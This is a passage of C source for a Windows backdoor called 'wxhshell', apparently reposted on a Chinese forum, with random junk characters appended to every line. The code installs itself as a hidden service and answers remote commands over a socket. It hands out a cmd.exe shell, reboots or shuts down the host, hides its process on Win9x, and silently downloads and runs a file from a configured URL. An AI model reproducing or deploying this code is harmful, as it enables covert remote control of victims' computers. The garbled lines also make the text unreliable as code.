    switch(cmd[0]) { (0-Ol9[  
  \}Q=q$)  
  // 帮助 K_i|cYGV  
  case '?': { z^bS+0S5x!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >0^<<=m  
    break; '| 8 dt "C  
  } <jh4P!\&j  
  // 安装 MN?aPpr>  
  case 'i': { uwwR$ (\7  
    if(Install()) *22Vc2[i;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qO6M5g:   
    else wgl<JO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ) Sn0Y B  
    break; $xO8?  
    } m:@y_:X0  
  // 卸载 8Qvs\TY  
  case 'r': { `v*HH}aDO  
    if(Uninstall()) Wjb_H (D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R)NSJ-A!2  
    else !%>RHh[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {_9O4 + &  
    break; =?5)M_6)  
    } FnvpnU",  
  // 显示 wxhshell 所在路径 GJ9>i)+h;  
  case 'p': { yD+4YD  
    char svExeFile[MAX_PATH]; Exb64n-_=  
    strcpy(svExeFile,"\n\r"); 3H2~?CaJ  
      strcat(svExeFile,ExeFile); S<Dbv?  
        send(wsh,svExeFile,strlen(svExeFile),0); ;V,L_"/X  
    break; eL3 _Lz  
    } zxR]+9Zh  
  // 重启 j=r1JV @  
  case 'b': { IeYYG^V<A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g~hMOI?KK^  
    if(Boot(REBOOT)) 2` o @L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ XjijD9R  
    else { \n<! ld  
    closesocket(wsh); VLuHuih  
    ExitThread(0); erH,EE^-x<  
    } ">}6i9o  
    break; s9Hxiw@D  
    } y:'Ns$+  
  // 关机 1wFu3fh@  
  case 'd': { 5B=uvp|Y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "*d6E}wG  
    if(Boot(SHUTDOWN)) \^)i!@v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gd;!1GNi]  
    else { #Oka7.yz  
    closesocket(wsh); VN`.*B|9[  
    ExitThread(0); 2KLMFI.F  
    } ibkB>n{(  
    break; U,g8:M xHK  
    } H4g8 1V=  
  // 获取shell ~[;r) g\  
  case 's': { V}y]<  
    CmdShell(wsh); sT^R0Q'>  
    closesocket(wsh); MK1\  
    ExitThread(0); k]m ~DVS  
    break; P$E iD+5#z  
  }  ?eS;Yc  
  // 退出 ~$J ;yo~  
  case 'x': { <>HtXn/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8~Cmn%  
    CloseIt(wsh); u)@:V)z  
    break; $qD\ku;'  
    } m23"xnRB  
  // 离开 =gVMt  
  case 'q': { -1Q24jrO-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'z|Da&d P  
    closesocket(wsh); UoxlEec  
    WSACleanup(); nxZz{&  
    exit(1); C19N0=  
    break; Pe<VPf9+  
        } :\^b6"}8  
  } D ,kxB~  
  } #`iEbiSq  
Y 9$jJ1V  
  // 提示信息 ~1O|4mssS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | 6{JINW  
} Spn[:u@  
  } 24J c`%7,=  
p%DU1+SA  
  return; sxT&T=7  
} Bsa;,  
@2E52$zu  
// shell模块句柄 )Cy>'l*Og7  
int CmdShell(SOCKET sock) /a\i  
{ jg]KE8(  
STARTUPINFO si; h*Fv~j'p  
ZeroMemory(&si,sizeof(si)); ?lC>E[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gTj,I=3$?e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,p|Q/M^  
PROCESS_INFORMATION ProcessInfo; yrxX[Hg?@  
char cmdline[]="cmd"; Lm[,^k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M-@RgWvF  
  return 0; in>+D|q c  
} ~Dt$}l-9  
'g%:/lwA  
// 自身启动模式 z"f@iJX?2  
int StartFromService(void) U'=8:&  
{ h$8h@2%  
typedef struct 6{6hz 8  
{ 'V]C.`9c  
  DWORD ExitStatus; qA>#;UTp  
  DWORD PebBaseAddress; {Z2nc)|7C  
  DWORD AffinityMask; CcQc!`YC  
  DWORD BasePriority; )0/9 L  
  ULONG UniqueProcessId; k]p|kutQCy  
  ULONG InheritedFromUniqueProcessId; >h aihT  
}   PROCESS_BASIC_INFORMATION; bMK X9`*o  
qSP &Fi  
PROCNTQSIP NtQueryInformationProcess; 0OO[@Ht  
"qgwuWbM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jL-2 }XrA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |R.yuSL)(  
-riX=K>$  
  HANDLE             hProcess; f#z:ILG=  
  PROCESS_BASIC_INFORMATION pbi; Ch]d\GM  
+zh\W9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UVux[qX<  
  if(NULL == hInst ) return 0; 4EM+Ye  
xt}.0dC!/%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O}i+ 1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _eGYwBm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ao\P|K9MyL  
%,WH*")  
  if (!NtQueryInformationProcess) return 0; GL?b!4xx  
@)d_zWE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LK DfV  
  if(!hProcess) return 0; X):7#x@uy  
XP)^81i|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9)wYSz'  
sSU|N;"Y  
  CloseHandle(hProcess); wG49|!l6T  
254V)(t^QM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \-yI dKj  
if(hProcess==NULL) return 0; [W3X$r~-  
wQG?)aaM  
HMODULE hMod; ,ayEZ#4.m  
char procName[255]; !=eNr<:V.  
unsigned long cbNeeded; r#OPW7mhE  
.e7tq\k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i.^ytbH  
Rq|6d M6H  
  CloseHandle(hProcess); ) A:h  
a <C?- g|  
if(strstr(procName,"services")) return 1; // 以服务启动 V;eaQ  
Il [~  
  return 0; // 注册表启动 !JXiTI!  
} ~vz%I^xW  
TVNgj.`+u!  
// 主模块 %tP*_d:  
int StartWxhshell(LPSTR lpCmdLine) qFWN._R  
{ Srx:rUCv  
  SOCKET wsl; x|m9?[ !_  
BOOL val=TRUE; > -OOU  
  int port=0; 6FzB-],  
  struct sockaddr_in door; nG<oae6z"  
~Ykn|$_"I  
  if(wscfg.ws_autoins) Install(); m%6VwV7U  
=p_*lC%N  
port=atoi(lpCmdLine); ,<IomA:q4  
Nf([JP% 4  
if(port<=0) port=wscfg.ws_port; 0Fb ];:a  
9)7$UQY  
  WSADATA data; 2VRGTx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HThZ4Kg+  
w W\[#Ku  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QdgJNT<=H,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;mEn@@{  
  door.sin_family = AF_INET; O q$_ q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jRjeL'"G  
  door.sin_port = htons(port); "r46Rfa  
RiQ ]AsTtl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (6$ P/k8  
closesocket(wsl); #_.J kY  
return 1; |'z8>1  
} E[t0b5h  
d1/WUKmbZ  
  if(listen(wsl,2) == INVALID_SOCKET) { by<@\n2B:U  
closesocket(wsl); ir<e^a  
return 1; "`ftcJUd  
} lQ?jdi  
  Wxhshell(wsl); Wu 0:X*>}p  
  WSACleanup(); _Gq6xv\b1  
&B&8$X  
return 0; !hq2AY&H)  
7(1`,Y  
} %_W4\  
XHU$&t`7>g  
// 以NT服务方式启动 vu0Ue  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :e7\z  
{ o,WjM[e  
DWORD   status = 0; 9 " q-Bb  
  DWORD   specificError = 0xfffffff; hY.i`sp*/  
3q'AgiW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d~~kJKK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e4` L8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _;03R{e*  
  serviceStatus.dwWin32ExitCode     = 0; rhc+tR  
  serviceStatus.dwServiceSpecificExitCode = 0; ;(?tlFc  
  serviceStatus.dwCheckPoint       = 0; Dsm1@/"i|7  
  serviceStatus.dwWaitHint       = 0; ] :;x,$k  
K ~mUO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aG]>{(~cL  
  if (hServiceStatusHandle==0) return; pA*C|g  
w*6b%h%ww  
status = GetLastError(); 74M9z  
  if (status!=NO_ERROR) l$/pp  
{ $ztsbV}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v\,N"X(,  
    serviceStatus.dwCheckPoint       = 0; E<\$3G-do  
    serviceStatus.dwWaitHint       = 0; h&i*=&<HP6  
    serviceStatus.dwWin32ExitCode     = status; yIL=jzm`7  
    serviceStatus.dwServiceSpecificExitCode = specificError; cuN]}=D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tQ{/9bN?P  
    return; ;+wB!/k,  
  } W#bYz{s.  
tle`O)&uo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D[yyFo,z  
  serviceStatus.dwCheckPoint       = 0; ]QaKXg)3q  
  serviceStatus.dwWaitHint       = 0; 5VV}wR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0<%$lr  
} g[G /If  
^0.8-RT  
// 处理NT服务事件,比如:启动、停止 7Jlkn=9e:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a%r!55.   
{ BI:Cm/ >  
switch(fdwControl) ~Y x_ 3  
{ _4N.]jr5  
case SERVICE_CONTROL_STOP: mU-2s%X<.^  
  serviceStatus.dwWin32ExitCode = 0; w5 .^meU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G[mqLI{q  
  serviceStatus.dwCheckPoint   = 0; Lyhuyb)k5^  
  serviceStatus.dwWaitHint     = 0; 4Et(3[P71  
  { [1vm~w'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 e+j51  
  } !ekByD  
  return; #zl1#TC{(  
case SERVICE_CONTROL_PAUSE: ~^obf(N`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kxhsDD$@p  
  break; 59oTU  
case SERVICE_CONTROL_CONTINUE: B2[f1IMI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }i!+d,|f  
  break; .rK0C)  
case SERVICE_CONTROL_INTERROGATE: geR :FO;\  
  break; yq-~5ui  
}; E /H%q|q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K}CgFBk  
} ? uYO]!VC  
;NA5G:eQ  
// 标准应用程序主函数 NwF"Zh5eMW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Be|! S_Y P  
{ \( s `=(t  
hTDGgSG^  
// 获取操作系统版本 4fKvB@O@.  
OsIsNt=GetOsVer(); 9;L4\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;3/}"yG<p  
^i8,9T'=  
  // 从命令行安装 q8$t4_pF  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]W?cy  
z}Cjk6z@  
  // 下载执行文件 @4;'>yr(  
if(wscfg.ws_downexe) { lBfthLBa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \na$Sb+  
  WinExec(wscfg.ws_filenam,SW_HIDE); uJ2ZHrJ  
} :i!fPNn  
'mZ v5?  
if(!OsIsNt) { ^# $IoW  
// 如果时win9x,隐藏进程并且设置为注册表启动 []A9j ?_w  
HideProc();  ]ltCJq  
StartWxhshell(lpCmdLine); :=hL}(~]  
} !kSemDC  
else ]S%_&ZMCM  
  if(StartFromService()) FXr^ 4B}  
  // 以服务方式启动 ^(TCUY~f&  
  StartServiceCtrlDispatcher(DispatchTable); J920A^)j!  
else 0HWSdf|w  
  // 普通方式启动 KF'fg R  
  StartWxhshell(lpCmdLine); c$  /.Xp  
^dpM2$J  
return 0; w<B S  
}
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只看该作者 1 发表于: 2006-10-10
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